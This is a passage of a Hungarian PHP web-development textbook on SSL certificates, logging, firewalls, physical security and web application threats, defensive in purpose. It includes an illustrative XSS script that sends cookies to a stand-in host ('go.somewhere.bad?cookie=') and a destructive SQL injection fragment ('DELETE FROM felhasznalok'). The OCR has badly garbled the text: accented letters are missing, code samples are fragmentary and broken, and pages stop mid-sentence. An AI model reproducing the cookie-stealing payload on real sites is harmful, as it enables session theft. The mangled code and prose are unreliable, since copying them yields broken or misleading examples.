ban van egy vals fizikai cm s valaki, aki ellen jogi ton fellphetnk.
A tanstvnyok bizalmi hlzator hoznak ltre. Amennyiben rni megbzunk a tanst szervezetben, akkor megbzharunk
azokban is, akikben ez a szervezet megbzott, s ugyangy megbzharunk azokban is, akikben a tanstvnnyal rendelkez fl is
megbzott.
A digitlis tanstvnyok leggyakoribb hasznlati clja, hogy a tisztessg s megbzhatsg rzett keltsk az e-kereskedelmi
oldalak ltogatiban. Jl ismert CA ltal kiadott tansrvny birtokban a bngszk figyelmeztet ablak megjelentse nlkl
rudnak SSL-kapcsolatot teremteni oldalunkhoz. Az SSL-kapcsolator lehetv tev webszervereket biztonsgos webszervereknek
nevezik.
Biztonsgos webszerverek
A bngszkkel folytatott, Secure Sockets Layer protokollon keresztli, biztonsgos kommunikcihoz hasznlharunk
Apache webszervert, Microsoft liS-t vagy brmilyen ms ingyenes vagy fizets webszervert. Az Apache lehetv teszi Unix
szer opercis rendszer hasznlatr, ami szinte minden esetben megbzhatbb, m kiss bonyolulrabban bellthat, mint az
IlS. Termszetesen vlaszthatjuk azt is, hogy Windows platforrnon hasznljuk az Apache-t.
241
Az SSL IIS-en trtn hasznlathoz telepteni kell az IlS-t, ltre kell hozni egy kulcsprt, majd telepteni kell tanstv
nyunkat. Apache esetben az OpenSSL csomagot is telepteni kell, s a szerverszoftver teleptsekor a mod ssl modult is be
kell kapcsolni.
Clunkat gy is elrhetjk, ha az Apache fizets vltozatt vsroljuk meg. A Red Hat veken keresztl forgalmazott egy
ilyen, Stronghold nev termket, amely ma mr a Red Hat Enterprise Linux termkekkel egy csomagban kaphat. Ilyen meg
olds beszerzse esetn a Linux megbzhatsgt s egy knnyen telepthet termket kapunk a forgalmaz mszaki tmoga
tsval kiegsztve.
A kt legnpszerbb webszerver, az Apache s az IIS teleptsi utastsait A PHP s
talljuk. Az SSL hasznlatt sajt digitlis tanstvnyunk ltrehozsa utn akr azonnal megkezdhetjk, m ebben az esetben
a bngszk figyelmeztetni fogjk oldalunk ltogatit, hogy tanstvnyunkat mi magunk rtuk al. Az SSL rdemi hasznla
thoz tanst szervezet ltal kiadott tanstvnyra lesz szksgnk.
A tanstvny megszerzsnek pontos folyamata tanst szervezetenknt eltr, de ltalnossgban elmondhat, hogy
bizonytani kell a szervezet fel, hogy fizikai cmmel rendelkez, jogszeren mkd vllalkozs vagyunk, s a szban forg
domainnv a mi tulajdonunkban van.
Tanstvny-alrsi krelmet (CSR) is el kell lltanunk. Ennek folyamata kiszolglnknt eltr. Az erre vonatkoz utas
tsokat a tanst szervezet honlapjn tallj uk. A Stronghold s az IlS prbeszdablakok segitsgvel vezet vgig a folyamaton,
Apache esetben azonban neknk kell berni a parancsokat. A folyamat lnyege azonban minden kiszolgl esetn ugyanaz.
A vgeredmny egy titkostott CSR, amely a kvetkezhz hasonlan kell, hogy kinzzen:
---BEGIN NEW CERTIFICATE REQUEST--
MIIBuwiBAAKBgQCLnlXX8faMHhtzStp9wY6BVTPuEU9bpMmhrb6vgaNZy4dTe6VS
84p7wGepq5CQjfOL4Hjda+g12xzto8uxBkCD098Xg9q86CY45HZk+q6GyGOLZSOD
8cQHwhloUP65s5Tz0180FB zpi3bHxf06aYelWYziDiFKp1BrUdua+pK4SQIVAPLH
SV9FSz8Z7IHOg1Zr5H82oQOlAoGAWSPWyfVXPAF8h2GDb+cf97k44VkHZ+Rxpe8G
ghlfBn9L3ESWUZNOJMfDLlny7dStYU98VTVNekidYuaBsvyEkFrny7NCUmiuaSnX
4UjtFDkNhX9j5YbCRGLmsc865AT54KRu3102/dKHLo6NgFPirijHy99HJ4LRY9Z9
HkXVzswCgYBwBFH2QfK88C6JKW3ah+6cHQ4Deoiltxi627WN5HcQLwkPGn+WtYSZ
jG5tw4tqqogmJ+IP2F/5G6FI2DQP7QDvKNeAU8jXcuijuWo27S2sbhQtXgZRTZvO
jGn89BC0miHgHQMki7vz35mx1Skk3VNq3ehwhGCvJlvoeiv2J8X2IQIVAOTRp7zp
En7QlXnXwls7xXbbuKPO
---END NEW CERTIFICATE REQUEST---
A CSR, a fizetend djak s a szemlyazonossgunk igazolshoz szksges dokumenmmok, illetve a domainnv hasznla
tra val jogosultsgunkat igazol dokumenmmok birtokban kszen llunk arra, hogy valamely tanst szervezetnl tanst
vnyrt folyamodjunk.
Miutn a szervezet kiadta tanstvnyunkat, el kell trolni rendszernkn, s kzlni kell a webszerverrel, hogy hol tallja.
A vgleges tanstvny az itt lthat CSR-hez nagyon hasonl szvegfjl.
Auditls s naplzs
Opercis rendszernk kpes a klnfle esemnyek naplzsra. A biztonsgi szempontbl rdekes esemnyek kz a hlzati
hibk, az egyes adatfjlokhoz, pldul a konfigurcis fjlokhoz vagy az NT-Registryhez val hozzfrsek tartoznak, s az olyan
prograrnak meghvsa, mint pldul az su (amivel egy msik felhasznlv, pldul rendszergazdv vlharunk Unix rendszeren).
A naplfjlok segitsgvel a megtrtntekor szlelhetjk a hibs vagy rosszindulat viselkedst. A problmk szrevtele
utn ezek tjkoztatst is adhatnak arrl, hogyan trtnt a problma vagy a betrs. A naplfjlok esetben a kt legnagyobb
nehzsg a mretk s a valsgtartalmuk.
Ha a problmk szlelsre s naplzsra vonatkoz kritriumok meghatrozsakor tlzott biztonsgra treksznk, ered
mnyl rendkivl nehezen kezelhet, hatalmas mret naplkat kapunk. A nagy naplfjlokkal csak gy boldogulhamnk, ha
erre szolgl eszkzzel vagy a biztonsgi hzirendbl kidolgozott auditkdokkal ..rdekes" esemnyek utn kutamnk bennnk.
Az auditlsi folyamatnak vagy vals idben vagy rendszeres idkznknt kell megtrtnnie.
A naplfjlok klnsen nagy mrtkben ki vannak tve a tmads veszlynek. Ha a tmad rendszergazdai jogosultsgok
kal fr hozz rendszernkhz, a naplfjlokat szabadon mdostva eltntetheti a nyomait. A Unix lehetsget ad arra, hogy
kln gpen naplzzuk az esemnyeket. Ez azt jelenti, hogy a crackernek legalbb kt gpet fel kell trnie ahhoz, hogy eltn
tesse nyomait. A Windows is knl hasonl funkcit, de nem olyan egyszeren, mint a Unix.
A rendszergazda is vgezhet rendszeres auditlst, de rdemes lehet kls auditlssal rendszeresen ellenrizni a rendszer
gazda munkjt.
15
242
15. fejezet
Tzfalak
A tzfalakat arra hasznljuk, hogy hlzarunkat elvlasszuk a klvilgtl. Ahogy az plet vagy az aut tzfala megakadlyoz
za a tz tovaterjedst, a hlzati tzfalakkal megelzhet, hogy a baj hlzarunkban is elterjedjen.
A tzfal clja, hogy a hlzarunkban lv szmtgpeket vdje a kls tmadstl. Szri s nem engedlyezi a szablyainak
nem megfelel forgalmat. Emellett korltozza a tzfalon kvL Felhasznlk s gpek tevkenysgt.
A tzfal esetenknt az azon belli szemlyek tevkenysgt is behatrolja. Kpes korltozni az emberek ltal hasznlt h
lzati protokollokat, azon gpek krt, amelyekhez csadakozhatnak, illetve a svszlessg kltsgeinek leszortsa rdekben
proxykszolgl hasznlatra knyszertheti ket.
A tzfal lehet hardvereszkz, pldul szrszablyokat hasznl router (tvlaszt), vagy szmtgpen fut szoftver.
Mindkt esetben kt hlzathoz kell kapcsoldnia, s szablyok alapjn kell mkdnie. A tzfal az egyik hlzatbl a msikba
igyekv forgalmac figyeli. Ha megfelel a tzfal szablyainak, tvezeti a msik hlzatba, ha nem, meglltja vagy visszautastja.
A csomagok szrhetk tpusuk, forrs- s clcmk vagy portinformci alapjn. Egyes csomagokat a tzfal egyszeren el
vet; ms esemnyekre pedig megadhatjuk, hogy naplbejegyzseket vagy riasztsokat kezdemnyezzenek.
15
Fizikai biztonsg
Az eddig megvizsglt biztonsgi fenyegetsek olyan kzzel nem megfoghat dolgokra vonatkoztak, rnint a szoftver, de nem
szabad megfeledkeznnk rendszernk fizikai biztonsgrl sem. Klimatizlsra van szksg, s vdekezni kell a tz, a (ktbal
kezes vagy rosszindulat) emberek, az ramkimarads s a hlzati lellsok ellen.
243
Rendszernket biztonsgosan bezrt helyen kell tartani. Mkdsnk mrettl fggen ez lehet helyisg vagy szekrny.
Csak azoknak az alkalmazottaknak szabad ehhez a gphez hozzfrnik, akiknek erre szksgk van. A jogosulatlan szem
lyek szndkosan vagy vletlenl kihzhatnak kbeleket, vagy boot lemez segtsgvel megkisrelhetik megkerlni a biztonsgi
mechanizmusokat.
A sprinklerek (szrfejes, vzzel olt berendezsek) legalbb annyi krt tudnak tenni az elektronikban, mint a tz. Rgeb
ben halont hasznl, gzzal olt rendszerekkel kezeltk ezt a problmt. A "Montreali jegyzknyv az zonrteget lebont
anyagokrl" cm egyezmny ma mr tiltja a halon hasznlatr, gy az j tzvdelmi rendszereknek ms, kevsb kros alter
narva utn kellett nznik. Kt szba jhet lehetsg az argon s a szn-dioxid. A rmrl bvebben is olvashatunk a http:/l
www.epa.gov/Ozone/snap/ fire/qa.hrml oldalon.
A vratlan, rvid ramkimaradsok legtbb helyen az let velejri. Rendkvli idjrs vagy fld feletti vezetkek esern
a hosszabb kimaradsok is rendszeresek lehetnek. Ha rendszernk folyamatos mkdse fontos szmunkra, be kell ruhznunk
sznermentes tpegysgbe
(UPS). Egyetlen gpet akr 60 percen keresztl tpllni kpes sznetmentes tpegysget mr 10
ezer forint krnykn beszerezhetnk. A hosszabb ramkimaradsokat kivlt vagy tbb gpet elltni kpes tpegysgek ennl
azrt tbbe kerlnek. A hossz ramkimaradsokhoz genettorra van szksg, hogy a klimarizls s szmrgpeink is m
kdni tudjanak.
Az ramkimaradshoz hasonlan a nhny perces vagy rs hlzati kimaradsok is ellenrzsnkn kvl esnek. Ha h
lzatunk mkdse igazn fontos szmunkra, rdemes lehet egynl tbb internetszolgltathoz kapcsoldni. A kr kapcsolat
nyilvn tbbe kerl, de azt jelenti, hogy hlzari hiba ese rn alacsonyabb kapacitssal ugyan, de elrhetk maradunk.
A fentiek miatt rdemes lehet megfontolni, hogy gpeinker bizonyos dj ellenben egy e clra kialaktott ltestmnyben
helyezzk el (angolul co-locationnek is nevezik ezt a szolglratst). Ennek alapja, hogy egy kzepes mret vllalkozs szmra
nem minden esetben gazdasgos egy hosszabb ideig ramelltst bizrosr sznermentes tpegysg, tbb redundns hlzati
kapcsolat vagy tzvdelmi rendszer fenntartsa. Egy hasonl vllalkozsok szzainak szmtgpeit trol s zemelter lte
stmny szmra azonban igen.
Hogyan tovbb
A 16. fejezetben rszletesebben foglalkozunk a webes alkalmazsok biztonsgva!. Megnzzk, kik az ellensgeink, s hogyan
vdjk meg magunkat tlk, hogyan vcljk szervereinket, hlzatainkat s kdunkat, s hogyan kszljnk fel a katasztrfkra.
15
16
Webes alkalmazsok biztonsga
A fejezeeben folyeaejuk az alkalmazsbiztonsg korbban megkezdett tmjt: teljes webes alkalmazsunk biztonsgoss t
telnek krdseit fogjuk megtrgyalni. Webes alkalmazsaink minden egyes porcikjt vdeni kell a lehetsges visszalsektl
(legyen azok vletlenek vagy szndkosak), s biztonsgukat elsegt stratgit kell kidolgoznunk az alkalmazsfejlesztshez.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Biztonsgkezelsi stratgik
A rnk vr fenyegetsek azonostsa
Kikkel llunk szemben?
Kdunk biztonsgoss ttele
Webszervernk s a PHP biztonsgoss ttele
Az adatbzisszerver biztonsga
Hlzatunk vdelme
Katasztrfa-elhrrsi terv ksztse
Biztonsgkezelsi stratgik
Az internet egyik legnagyszerbb jellemzje - az sszes gp egymssal szembeni nyitottsga s elrhetsge - egyben az egyik
legnagyobb fejfjst is okozza a webes alkalmazsfejleszcknek. Az internechez csatlakoztatott rengeteg szmtgp hasznli
kzte kevsb nemes szndkakat is tallunk. A rnk leselked veszlyek tudatban flelmetes lehet akr csak belegondolni
abba, hogy a hitelkrtyaadatokhoz, a bankszmla-informcikhoz vagy az egszsggyi nyilvntartshoz hasonl bizalmas
informcikat kezel webes alkalmazst a globlis hlzat szmra elrhetv tesszk. De az zlet nem llhat meg, s neknk,
fejleszeknek nem elegend csupn alkalmazsunk e- kereskedelemmel kapcsolatos rszeit biztonsgoss tenni, hanem a biz
tonsg megtervezshez s kezelshez szksges megkzeltst kell kialaktanunk. A lnyeg, hogy megfelel egyenslyt call
junk a vdelem szksgessge s a tnyleges zletvitelhez elengedhetetlen, mkd alkalmazs ignye kztt.
246
16.fezet
Az egyik lehetsges mdszer, ha megkveteljk a felhasznlktl, hogy ngy, klnbz jelszt kr bejelentkez abla
kon keresztl lpjenek be. Azt is megkvetelhegk tlk, hogy legalbb havonta egyszer mdostsk jelszavaikat, mgpedig
gy, hogy korbban mr hasznlt jelszavakat nem vlaszthatnak. Ez jelentsen megnveln rendszernk biztonsgt, s
a crackereknek sokkal tbb idbe kerlne, amg tkzdenk magukat a belpsi folyamaton, s bejutnnak a rendszerbe.
Sajnos rendszernk annyira biztonsgos lenne, hogy senki sem venn a fradsgot, hogy hasznlja - elbb-utbb knytele
nek lennnk beltni, hogy a szigorts egyszeren nem rte el cljt. Ez a plda is jl mutatja, hogy br fontos trdni a bizton
sggal, legalbb ugyanennyire rdemes foglalkoznunk a biztonsgnak a hasznlhatsgra gyakorolt harsval. Egy egyszeren
hasznlhat, alacsony biztonsgi szint rendszer vonz lehet a felhasznlk szmra, m nagyobb valsznsggel szmtha
tunk ebbl add biztonsgi problmkra s zleti lellsokra. Ugyangy egy rendkvl robusztus biztonsgi jellemzkkel br
s ebbl kvetkezen szinte hasznlharadan rendszer kevs felhasznl szmra lesz elfogadhat, ami szintn negatv kvet
kezmnyekkel jr zlermenernkre.
Webes alkalmazsok fejlesztiknt olyan mdszereket kell tallnunk, amelyek a rendszer hasznlhatsgt nem arnytala
nul megneheztve fokozzk a biztonsgt. Mint ltalban a kezelfellet esetn, itt sincsenek kbe vsett s rninden helyzetre
megfelel szablyok, sokkal inkbb sajt tletnkre, hasznlhatsgi resztekre s fkuszcsoportokra tmaszkodva llapthaguk
meg, hogy miknt fogadjk a felhasznlk a tervezett megoldsokat.
Biztonsgi felgyelet
Webes alkalmazsunk fejlesztsnek s zembe helyezsnek befejezse urn sem rtnk feladaraink vgre. A biztonsg r
szr kpezi a rendszer mkds alatti felgyelete, a naplk s egyb fjlok figyelemmel kvetse, hogy lssuk, hogyan mkdik
rendszernk, s hogyan hasznljk. Csak a mkdst kzelrl felgyelve (vagy ezt a feladatot helyetrnk ellt eszkzket
megrva s futtatva) azonostharjuk a folyamaros biztonsgi problmkat, illetve hatrozhaguk meg azokat a terlereket, ahol
biztonsgosabb megoldsok kifejlesztsre van szksg.
A biztonsg, sajnos, folyamaros harc s - bizonyos rrelemben - olyan csata, amir soha nem lehet megnyerni. lland
bersg, rendszernk fejlesztse s gyors vlaszlps a problmkra - ez az az r, amir egy zkkenmentesen mkd webes
alkalmazsrt fizetni kell.
Alapvet megkzeltsnk
Hogy az sszer erfesztssel s idrfordtssal elrhet legteljesebb biztonsgi megoldst kapjuk, krflekppen kell a biz
tonsghoz kzelreni.Az egyik megkzelts az eddig tbeszltekre pl: Hogyan kszljnk fel alkalmazsunk biztonsgoss
ttelre, s milyen, a biztonsg megrzst elsegt funkcikar tervezznk bele Ha mindenkppen nevet szeretnnk adni
neki, akkor fellrliifele halad
Ebben alkalmazsunk klnbz alkotelemeir, pldul az adatbzisszervert, a szervert magr s a hlzator vizsgljuk meg.
Meggyzdnk arrl, hogy nem csak az ezekkel az alkotelemekkel val kapcsolatfelvteleink biztonsgosak, hanem telepr
sk s konfigurls uk is. Sok termk olyan bellrsokkal telepl fel, amelyek vdtelenl hagynak bennnker a tmadsokkal
szemben, ezrt fontos risztban lenni vele, hogy melyek ezek a lyukak, s hogyan tmhetjk be ket.
16
(Az e-kereskedelem biztonsgi krdsei) szmos, online zleti alkalmazsainkat clz biztonsgi fenyegetst
megismerhettnic Ebben a fejezetben ezek kzl nhnyra fogjuk figyelmnket sszpontostani, s megnzzk, miben kell
fejlesztsi gyakorlatunkat megvltozratni, ha kezelni kivnjuk az ilyen fenyegetseket.
247
Akr csak egy neveket s lakcmeket tartalmaz tbla nyilvnoss ttele is a biztonsgi szablyok slyos megszegst jelenti.
Az gyfelek nagyra rtkelik szemlyes adataik vdelmr. A nevket s lakcmket tartalmaz lista valamilyen tovbbi infor
mcival lciegszrve (.,mind a tzezer ember szakott online dohnyboltban vsrolni") potencilisan rtkesthet rucikket
jelent a jtkszablyokat be nem tart marketinges cgek szmra.
Az adatainkhoz val egyszer hozzfrsnl is sokkal rosszabb, ha valaici mdot tall manipullsukra. Egy boldog banici
gyfl hirtelen nhny ezer dollrral tbbet tall szmljn; vagy egy gyfl szlltsi cmnek mdostsa is boldogg tehet
valakit (vlheten azt, aici megvltoztatta az adatokat, s nagy rmmel veszi t a valaici msnak kldend csomagot).
Rosszindulat kd befecskendezse
Az interneten keresztl igen hatkony a rosszindulat kd befecskendezsnek (malicious code injecrion) nevezhet tmadst
pus. Ezen bell a leghresebb a Cross Site Scripting tmads. Szoks XSS-nek is nevezni, hogy ne keverjk ssze a CSS-knt
rvidtett egymsba gyazott stluslapokkal (Cascading Scyle Sheets). Ami igazn aggaszt ezekkel a tmadsokkal kapcso
latban, hogy nem keletkezik nyilvnval vagy azonnali adarveszts, hanem jellemzerr szrevtlenl lefut valamilyen kd, ami
klnbz mrtk adarvesztst vagy a felhasznlk tirnytst eredmnyezi.
A Cross Site Scripting alapveterr a kvetkezkppen mkdik:
l. A rosszindulat felhasznl egy rlapba, amely a belvitt adatokat msok szmra megjelenti (pldul megjegyzs vagy
zenet bevitelre szolgl rlapba) nem csak az zenetet rja be, hanem a kliensen lefut kdot is, pldul:
<script>="text/javascript">
this.document
"go.somewhere.bad?cookie="
this.cookie;
</script>="text/javascript">
futtatja a bevitt szkript kdjt. Egyszer pldnk tirnytja a felhasznlt (s nmi cookie informcit) az eredeti oldalrl.
Br ez csak egy rendkivl egyszer plda, kliensoldali programozssal sok minden elrhet, az ilyen tmads ltal icinlc
lehetsgek pedig szmunkra igen rmisztek lehetnek.
16
248
16.fezet
Feltrt szerver
Ugyan egy feltrt kiszolgl a korbban sorolt fenyegetsekkel rszben megegyez veszlyforrsokat rejt, mgis rdemes meg
emlteni, hogy a tmadk clja egyes esetekben az, hogy hozzfrst szerezzenek rendszernkhz, s lehetleg rendszergazdai
jogosultsgokkal rendelkezzenek ekzben. Ha ez megvan, szinte teljhatalmat kapnak a feltrt szmtgp felett, brmilyen
programot futtathatnak, lellthatjk a gpet, vagy olyan szaftvereket telepthetnek, amelyek munkjt nem igazn fogjuk rt
kelni.
Nagyon nagy bersgre van szksg az ilyen tpus tmadsok ellen, mert a kiszolgl feltrse utn a tmadk egyik els
lpse nyomaik s a bizonytkek eltntetse lesz.
Crackerek
A legnyilvnvalbb s legismertebb csoportot crackereknek nevezzk.Szndkosan megklnbztetjk ket a hackerektl,
mert nem szeretnnk megsrteni az igazi hackereket, akik nagy rsze teljesen risztessges s j szndk programoz. A k
lnbz motivcij crackerek megprblnak gyengesgeket tallni, s ezeken tjutva elrni cljaikat. Vezetheti ket mohsg.
ha pldul egy versenytrsunk fizeti ket azrt, hogy informcikat szerezzenek rendszernkrl, de lehetnek egyszeren tehet
sges emberek, akik a ms rendszerekbe val betrs izgaimt keresik.Ugyan komoly fenyegetst jelentenek szmunkra, hiba
lenne minden erfesztsnket rjuk pazarolni.
tonsgi hibk miatt a szmtgpek riasztan magas arnya fertztt rnindenfle feladatot vgrehajt programokkal. Knnyen
elfordulhat, hogy bels cges hlzatunk egyes felhasznlinak a gpn ilyen programok futnak, s azok gy tudjk tmadni
kiszolglnkat, hogy rni abbl mit sem sej tnk.
Elgedetlen alkalmazottak
A kvetkez csoportot, amelytl szintn okunk lehet tartani, sajt alkalmazottaink alkotjk. Ezek az alkalmazottak valarnilyen
okbl hajlamosak lehetnek krt okozni annak a cgnek, amelynek dolgoznak. Brmi is legyen a motivcijuk, megprblhatnak
amatr hackerr vlni, vagy olyan eszkzket szerezhernek be kls forrsbl, amelyekkel a vllalari hlzaton bellrl tmad
hatjk a szervereket. Ha megvdjk magunkat a klvilg tmadsaitl, de bellrl vdtelenek maradunk, nem lesznk bizton
sgban. Kellen nyoms rv ez az gynevezett demilitarizlt zna (DMZ) megvalstsra, arnivel a fejezet ksbbi rszben
16
foglalkozunk majd.
Hardvertolvajok
Gyakran figyelmen kvl hagyott biztonsgi fenyegets, ami ellen sokan egyszeren elfelejtenek vdekezni: valaki lazn bestl
a szerverszobba, kihzza valamelyik berendezs kbeleit, s hna alatt az eszkzzel kistl az pletbL Meglepdnnk, ha
tudnnk, hogy sok irodapletbe milyen egyszeren be lehet jutni, s ott a gyan legcseklyebb rnyka nlkl stlgatni. Ha
valaki a megfelel idpontban a megfelel szobba tr be, knnyen egy vadonatj szerver boldog tulajdonosv vlhat - s r
adsknt a bizalmas adarokkal teli merevlemezt is megnyerte.
Sajt magunk
Kellemetlen lehet elismerni, de rendszereink biztonsgt illeten mi magunk s az ltalunk rt kd az, ami az egyik legnagyobb
fejfjst okozhatja. Ha nem fordrunk kell figyelmet a biztonsgra, ha hanyag mdon rjuk meg a kdot, s nem kell alapos
sggal vgezzk rendszernk biztonsgi tesztelst s ellenrzst, akkor segit kezet nyjtunk a rendszernket feltrni kv
n, rosszindulat felhasznlknak.
249
Ha mr csinlunk valamit,csinljuk jl! Az internet klnsen nem megbocst a gondatlansgra vagy lustasgra hajlamos
szemlyekkel szemben. A legnehezebb az,amikor fnknket vagy a vllalkozsi djunkat elfogad vezett kell meggyzni ar
rl, hogy a tbbletkiads vagy tbbletid-rfordts bven megtrl majd. Ha nhny perces eladst tartunk nekik a biztons
hogy rdemes a biztonsgra kicsivel tbbet sznni egy olyan vilgban,ahol minden a hrnvrl szl.
t a bizronsguk. Els lpsknt azokat a dolgokat vizsgljuk meg, amelyek segthecnek megrizni kdunk biztonsgt. Ugyan
knyvnkben nincs mdunk arra, hogy bemutassuk, mi mindent tehernk az sszes lehetsges biztonsgi fenyegers elhrtsa
rdekben (szmtalan ktetnyi irodalmat rtak mr e tmban),ltalnos irnymutatst prblunk nyjtani,hogy a megfelel
irnyba induljunk el. A PHP egyes,a ksbbi fejezetekben hasznland mdszereivel kapcsolatos biztonsgi agglyokra akkor
s ott fogjuk felhvni a figyelmet, amikor bemutatjuk e mdszereket.
minden, Jelhasz
te ki vagy?
</title>
</head>
<body>
<forrn action="urlap_elkuldese.php" rnethod="POST">
<input type="radio" narne="nerne" value="Ferfi"/>Frfi<br/>
<input type="radio" narne="nerne" value="No">N6<br/>
<input type="radio" narne="nerne" value="Egyeb"/>Kzd?<br/>
<input type="subrnit" value="subrnit"/>
</forrn>
</body>
</htrnl>
Ez az rlap a 16.1 brn lthat mdon nz ki. Ennek birtokban felttelezhetnnk,hogy amikor csak lekrdezzk az
urlap_elkuldese.phpfjlban a$_POST['nerne')
nagyor rvednnk.
16
250
16. fejezer
Ahogy korbban mr emltettk, az interner a HTTP, egy egyszer szvegprorokoll hasznlatval mkdik. Az elz rlap
szveges zenetknt, az albbihoz hasonl szerkezerben jutna el kiszolglnkhoz:
POST /neme.php HTTP/1.1
Host: www.yourhostname.com
User-Agent: Mozilla/5.0
en-US;
rv:l.9.0.1)
Gecko/2008070208 Firefox/3.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: ll
neme=Ferfi
Azt azonban semmi nem akadlyozza meg. hogy valaki kapcsoldjon webszervernkhz, s brmilyen rtket kldjn ne
knk az rlaphoz. gy ez a valaki a kvetkezket is elkldheti neknk:
POST /neme.php HTTP/1.1
Host: www.yourhostname.com
User-Agent: Mozilla/5.0
(Windows; U;
Gecko/2008070208 Firefox/3.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
neme=szeretem+a+sutiket.
"
</p>";
?>
knnyen zavarba hozharnnk sajt magunkat. Sokkal jobban jrunk, ha tnylegesen meggyzdnk arrl, hogy a bejv rtk
a vrt/megengedett rtkek valamelyike, pldul gy:
<?php
switch
($_POST['neme'])
case 'Ferfi' :
16
case No':
case
'Egyeb' :
default:
red;\">FIGYELMEZTETS:</span>
break;
?>
251
Kicsivel hosszabb ugyan ez a kd, de legalbb biztosak lehetnk benne, hogy helyes rtkeket kapunk, s ez igen fontos
lehet, amikor a felhasznl nemnl bizalmasabb adarokkal kezdnk dolgozni. ltalnos szablyknt elmondhat, hogy soha
nem elg felttelezni, hogy egy rlapbl szrmaz rtk az ort megadort rtkek valamelyike lesz - minden esetben ellenrizni
is kell ezt.
"HIBA:
==
0)
exit;
Ha azt szeretnnk, hogy a felhasznl az adott orszgban szoksos formtumban adja meg a dtumot, ami pldul egyeslt
llamokbeli felhasznJk es ern mm/dd!yy, azaz hh/ nn/ , akkor a checkdate nev PHP fggvny segtsgvel rhatunk
olyan kdot, ami ellenrzi a dtum valdisgt. Ez a fggvny hnap, nap s v rtket fogad (az v ngy szmjeggyel rva), s
arrl tjkoztat, hogy ezek az rtkek egytt rvnyes dtumot adnak-e ki:
'/');
!= 3)
{
echo
"HIBA:
exit;
<
mint a 02 vagy 95
100)
1900;
2000;
$mmddyy[2]))
{
echo
"HIBA:
exit;
Ha idt sznunk a bevirt adatok szrsre s rvnyestsre, nem csak az els lpsknt vgrehajtand, termszetes hibake
resst knnytjk meg (pldul annak megllaptst, hogy egy repljegynl az indulsi dtum rvnyes dtumformtum-e),
hanem egyrral rendszernk biztonsgt is nvelj k.
16
252
16. fejezet
DELETE FROM
felhasznalok;
felhasznalok"
"
nem megengedett. Ha olyan PHP kdot runk, ami mr azt megelzen megbi
zonyosodik afell, hogy az input a lehetsges rtkeket veszi fel, mieltt az adatbzisszervernek elkldenk azt, sokkal
tartalmasabb hibazenetet rhatunk ki,mint amilyet az adarbzis adna (ha az egyltaln ellenrizne ilyen dolgokat). s
nem mellesleg a kockzatunkat is mrskeljk.
A mysqli kiterjeszts azltal fokozza a biztonsgot,hogy egyeden lekrdezst enged lefuttam i a mysqli_ query vagy
a mysqli::query metdussal. Tbb lekrdezs vgreh:Ytshoz a mysqli_multi_query vagy a mysqli: : multi_
query
metdust kell hasznlnunk,gy elkerlhetjk tovbbi, potencilisan kros utastsok vagy lekrdezsek futtatst .
<
>
ralom kimenetnek karakterlncba bevinni (mivel a bngsz alaprtelmezsben azt gondolja, hogy ezek jellelemekre utal
16
nak). Ehhez az < s > entity-t kell hasznlnunk. Ugyangy, ha s karaktert szecetnnk rakni a HTML-be, az &
entity-re van szksgnk. Az egyszeres s dupla idzjelet a  9;, illetve a "
<
>
A htmle ntities viszont minden entiry-vel jelkpezhet karaktert lecserl. Ilyen entity tbbek kzte a szerzi jog szimb
luma, a ,amit a © jelkpez, vagy az € ltal jelkpezett eur szimblum. A fggvny azonban nem konverrlja
a karaktereket numerikus entiry-kk.
Mindkt fggvny msodik paramtere hatrozza meg, hogy az egyszeres s dupla idzjelek entiry-kk legyenek-e alakt
va, illetve harmadik paramterle hatrozza meg a karakterkszletet,amelybe a bemeneti karakterlnc kdolva lesz. (Ez igen
fontos szmunkra, mert azt szerernnk, hogy a fggvny megbzhatan mkdjn UTF-8 karakrerlncainkon.) A msodik
paramter lehetsges rtkei a kvetkezk:
ENT_COMPAT
ENT_QUOTES
ENT_NOQUOTES
alaktja t.
(az alaprtelmezett rtk )- A fggvny ekkor sem az egyszeres, sem a dupla idzjeleket nem
253
\"15000?\".</
p>
<script type=\"text/javascript\">
Ha vgigfuttatnnk a kvetkez PHP kdon (az nl2br fggvnyt azrt futtatjuk a kimeneti karakterlncon, hogy a bn
gszben szpen formzott legyen):
<?php
Sstr = htmlspecialchars($bemenetl_sztring,
ENT_NOQUOTES,
"UTF-8");
echo nl2br($str);
Sstr = htmlentities(Sbemeneti_sztring,
ENT_QUOTES,
"UTF-8");
echo nl2br($str);
?>
"15000?".</p><br />
<br />
<script type="text/javascript"><br />
"15000?".</p>
<script type="text/javascript">
"15000?".</p>
<script type="text/javascript">
Figyeljk meg, hogy a htmlentities fggvny entiry-re ( € ) cserlre az eur szimblumt ( ), ng
nem nylt hozz!
Olyan esetekben, amikor meg kvnjuk engedni a felhasznlknak bizonyos HTML hasznlatt - pldul zenfalon, ahol
a felhasznlk szvesen veszik, ha karakterek segitsgvel szablyozhatjk a bettpusr, -sznt s -stlust (flkvr vagy dlt) -,
akkurtusan vgig kell nznnk a karakterlncokat, hogy azonostsuk s ne szrjk ki ezeket.
htmlspecialchars
Kdjaink szervezse
Egyes vlemnyek szerint a felhasznlk ltal az internetrl kzvetlenl nem elrhet fjlokat nem szabad a weboldal gykr
knyvrrba helyezni. Ha pldul zenfalas honlapunk gykrknyvtra a /home/httpd/messageboard/www, a beillesztett
fjlokat, illetve az oldalhoz rt brmely egyb fjlt mondjuk a /home/httpd/messageboard/code knyvrrba kell raknunk. Ha
kdunkba szerernnk beilleszteni ezeket a fjlokat, a kvetkezket kellene rnunk:
require_once(' .. /code/felhasznaloi_objektum.php);
Az ilyen fok elvigyzatossg alapja az az eset, amikor egy rosszindulat felhasznl nem . php vagy .html fjira ir
nyul krst intz. Sok webszerver alaprtelmezsben a kimeneti adatfolyamba rja az ilyen fjl tartalmr. gy, ha valahol a nyil
vnos gykrknyvtrban trolnnk a felhasznaloi_objektum. php fjlt, s a felhasznl ezt a fjlt krn, kdunk reljes
16
254
16. fejezet
tartalma megjelenne a bngszben. Ekkor ez a felhasznl ltham, hogyan programoztuk az alkalmazst, s hozzfrne az
esetlegesen a fjlban lv szellemi tulajdonunkhoz, illetve olyan biztonsgi hibt (exploit) tallhat, arnirl megfeledkeztnk.
Ezt elkerlend gy kell webszervernket konfigurlni, hogy csak a . php s . html fjlok krst engedlyezze, a ms
tpus fjlokra vonatkoz krseket pedig a kiszolgl hibazenettel utastsa el.
